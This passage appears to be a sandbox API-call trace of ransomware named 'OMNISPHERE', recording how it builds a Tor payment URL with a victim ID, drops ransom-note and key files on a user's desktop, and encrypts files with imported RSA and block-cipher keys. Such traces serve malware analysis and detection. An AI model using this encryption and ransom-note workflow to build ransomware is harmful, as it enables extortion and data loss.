lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733658, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0163.570] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0163.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0163.570] GetProcessHeap () returned 0x1600000 [0163.570] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f480 [0163.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f480, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0163.570] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0163.570] GetProcessHeap () returned 0x1600000 [0163.570] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x164d178 [0163.570] PathCombineW (in: pszDest=0x164d178, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0163.570] GetProcessHeap () returned 0x1600000 [0163.570] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x176acf0 [0163.570] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.570] WriteFile (in: hFile=0x39c, lpBuffer=0x176acf0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x176acf0*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0163.571] CloseHandle (hObject=0x39c) returned 1 [0163.571] GetProcessHeap () returned 0x1600000 [0163.571] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1772a30 | out: hHeap=0x1600000) returned 1 [0163.571] GetProcessHeap () returned 0x1600000 [0163.571] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a730 [0163.572] PathCombineW (in: pszDest=0x163a730, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0163.572] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.572] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0163.572] CloseHandle (hObject=0x39c) returned 1 [0163.572] GetProcessHeap () returned 0x1600000 [0163.572] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a730 | out: hHeap=0x1600000) returned 1 [0163.573] GetProcessHeap () returned 0x1600000 [0163.573] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163d478 | out: hHeap=0x1600000) returned 1 [0163.573] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa06de0b0, ftCreationTime.dwHighDateTime=0x1d4d3d4, ftLastAccessTime.dwLowDateTime=0xb76b4a80, ftLastAccessTime.dwHighDateTime=0x1d4d075, ftLastWriteTime.dwLowDateTime=0xb76b4a80, ftLastWriteTime.dwHighDateTime=0x1d4d075, nFileSizeHigh=0x0, nFileSizeLow=0x2f10, dwReserved0=0x0, dwReserved1=0xf5, cFileName="dh -Ph0jPP6Vz0.gif", cAlternateFileName="DH-PH0~1.GIF")) returned 1 [0163.573] GetProcessHeap () returned 0x1600000 [0163.573] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a3b0 [0163.573] PathCombineW (in: pszDest=0x163a3b0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="dh -Ph0jPP6Vz0.gif" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\dh -Ph0jPP6Vz0.gif") returned="C:\\Users\\FD1HVy\\Desktop\\dh -Ph0jPP6Vz0.gif" [0163.573] StrStrW (lpFirst=".omnisphere", lpSrch=".gif") returned 0x0 [0163.573] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\dh -Ph0jPP6Vz0.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\dh -ph0jpp6vz0.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.573] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=12048) returned 1 [0163.573] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x29ec, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.573] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.574] GetTickCount () returned 0x11689e8 [0163.575] GetTickCount () returned 0x11689e8 [0163.575] GetTickCount () returned 0x11689e8 [0163.575] GetTickCount () returned 0x11689e8 [0163.575] GetTickCount () returned 0x11689e8 [0163.575] GetTickCount () returned 0x11689e8 [0163.575] GetTickCount () returned 0x11689e8 [0163.575] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668bd0) returned 1 [0163.575] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639ae8) returned 1 [0163.575] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0163.575] CryptDestroyKey (hKey=0x1639ae8) returned 1 [0163.576] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0163.576] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2f10, lpName=0x0) returned 0x380 [0163.576] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2f10) returned 0x1480000 [0163.576] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668708) returned 1 [0163.576] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639ae8) returned 1 [0163.576] CryptSetKeyParam (hKey=0x1639ae8, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0163.576] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0163.577] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.577] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.577] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.577] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.577] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.577] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.577] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.577] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.577] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.577] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.577] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.577] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.577] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.577] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.577] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.577] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.577] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.577] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.577] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.577] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.577] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.578] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.578] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.578] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.578] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.578] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.578] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.578] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.578] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.578] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.578] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.578] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.578] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.578] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.578] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.578] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.578] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.578] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.578] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.579] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.579] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.579] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.579] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.579] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.579] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.579] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.579] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.579] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.579] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.579] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.579] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.579] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.579] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.579] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.579] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, 